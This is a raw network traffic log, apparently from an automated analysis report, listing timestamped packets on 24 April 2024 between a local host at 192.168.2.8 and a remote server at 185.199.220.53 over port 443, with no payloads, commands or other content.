Apr 24, 2024 14:43:24.814531088 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.814552069 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.814610004 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.814615011 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.814656973 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.815371037 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.815397978 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.815442085 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.815445900 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.815481901 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.815502882 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.816051960 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.816075087 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.816133022 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.816139936 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.816179991 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.816673994 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.816694975 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.816739082 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.816742897 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.816780090 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.817348003 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.817368984 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.817435026 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.817439079 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.817477942 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.818049908 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.818069935 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.818160057 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.818165064 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.818238974 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.818830967 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.818850040 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.818892002 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.818896055 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.818933964 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.819583893 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.819605112 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.819660902 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.819667101 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.819708109 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.820271015 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.820291042 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.820343018 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.820347071 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.820398092 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.821245909 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.821268082 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.821321964 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.821326971 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.821371078 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.821955919 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.821974039 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.822027922 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.822031975 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.822077990 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.822664022 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.822684050 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.822736025 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.822741032 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.822784901 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.823326111 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.823348045 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.823406935 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.823411942 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.823455095 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.824131012 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.824152946 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.824209929 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.824213982 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.824255943 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.824791908 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.824815989 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.824856043 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.824861050 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.824877024 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.824901104 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.825587034 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.825608015 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.825664043 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.825670004 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.825728893 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.826373100 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.826397896 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.826452017 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.826457024 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.826498985 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.827124119 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.827143908 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.827197075 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.827202082 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.827250004 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.827908039 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.827928066 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.827965021 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.827969074 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.828003883 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.828023911 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.828573942 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.828594923 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.828649998 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.828654051 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.828696012 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.829147100 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.829188108 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.829216957 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.829221010 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.829256058 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.829276085 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.829804897 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.829826117 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.829885006 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.829890013 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.829926014 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.829947948 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.830656052 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.830705881 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.830750942 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.830754042 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.830768108 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.830806017 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.831427097 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.831448078 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.831501961 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.831506014 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.831556082 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.832196951 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.832217932 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.832262993 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.832268953 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.832304955 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.832323074 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.832876921 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.832897902 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.832945108 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.832950115 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.832974911 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.833019018 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.833564997 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.833590031 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.833645105 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.833650112 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.833699942 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.834362984 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.834387064 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.834477901 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.834482908 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.834530115 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.835277081 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.835298061 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.835336924 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.835341930 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.835378885 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.835447073 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.836087942 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.836122990 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.836152077 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.836157084 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.836186886 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.836225986 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.836957932 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.836980104 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.837054014 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.837058067 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.837093115 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.837135077 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.837860107 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.837888002 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.837960958 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.837965965 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.838043928 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.838649988 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.838674068 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.838702917 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.838707924 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.838731050 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.838757038 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.839493036 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.839514971 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.839611053 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.839616060 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.839663982 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.840209961 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.840231895 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.840256929 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.840260983 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.840287924 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.840346098 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.841001987 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.841022015 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.841078043 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.841083050 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.841113091 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.841178894 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.841813087 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.841834068 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.841912031 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.841917992 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.841958046 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.841981888 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.842722893 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.842742920 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.842799902 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.842804909 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.842854977 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.843367100 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.843389034 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.843425989 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.843430996 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.843462944 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.843487024 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.843625069 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.844156981 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.844177961 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.844218969 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.844223022 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.844263077 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.844283104 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.844860077 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.844880104 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.844921112 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.844923973 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.844961882 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.844983101 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.845730066 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.845751047 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.845801115 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.845804930 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.845835924 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.845863104 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.846419096 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.846419096 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.846442938 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.846489906 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.846493959 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.846553087 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.846575975 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.846956968 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.847151995 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.847174883 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.847238064 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.847242117 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.847306013 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.847455025 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.847934961 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.847956896 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.848001003 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.848006010 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.848020077 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.848046064 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.848675013 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.848695993 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.848738909 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:24.848743916 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:24.848778963 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.140986919 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141007900 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141051054 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141135931 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.141144037 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141201019 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.141429901 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141453981 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141516924 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.141520977 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141530037 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141558886 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141562939 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.141575098 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141602993 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.141638994 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.141654015 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141673088 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141732931 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.141736984 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141755104 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141776085 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.141781092 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141793013 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141845942 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.141855001 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141875029 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141933918 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.141937971 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.141980886 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142023087 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142043114 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142107010 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142138958 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142143011 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142209053 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142215967 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142240047 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142290115 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142293930 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142304897 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142328978 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142333984 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142340899 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142391920 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142406940 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142425060 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142478943 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142482042 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142491102 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142513990 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142522097 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142525911 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142580032 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142585993 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142606974 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142642975 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142647028 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142672062 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142676115 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142698050 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142703056 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142718077 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142740965 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142785072 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142786026 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142797947 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142817974 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142848015 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142851114 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142874002 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142890930 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142900944 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142908096 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142932892 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.142971039 CEST	49717	443	192.168.2.8	185.199.220.53
Apr 24, 2024 14:43:25.142975092 CEST	443	49717	185.199.220.53	192.168.2.8
Apr 24, 2024 14:43:25.143011093 CEST	443	49717	185.199.220.53	192.168.2.8
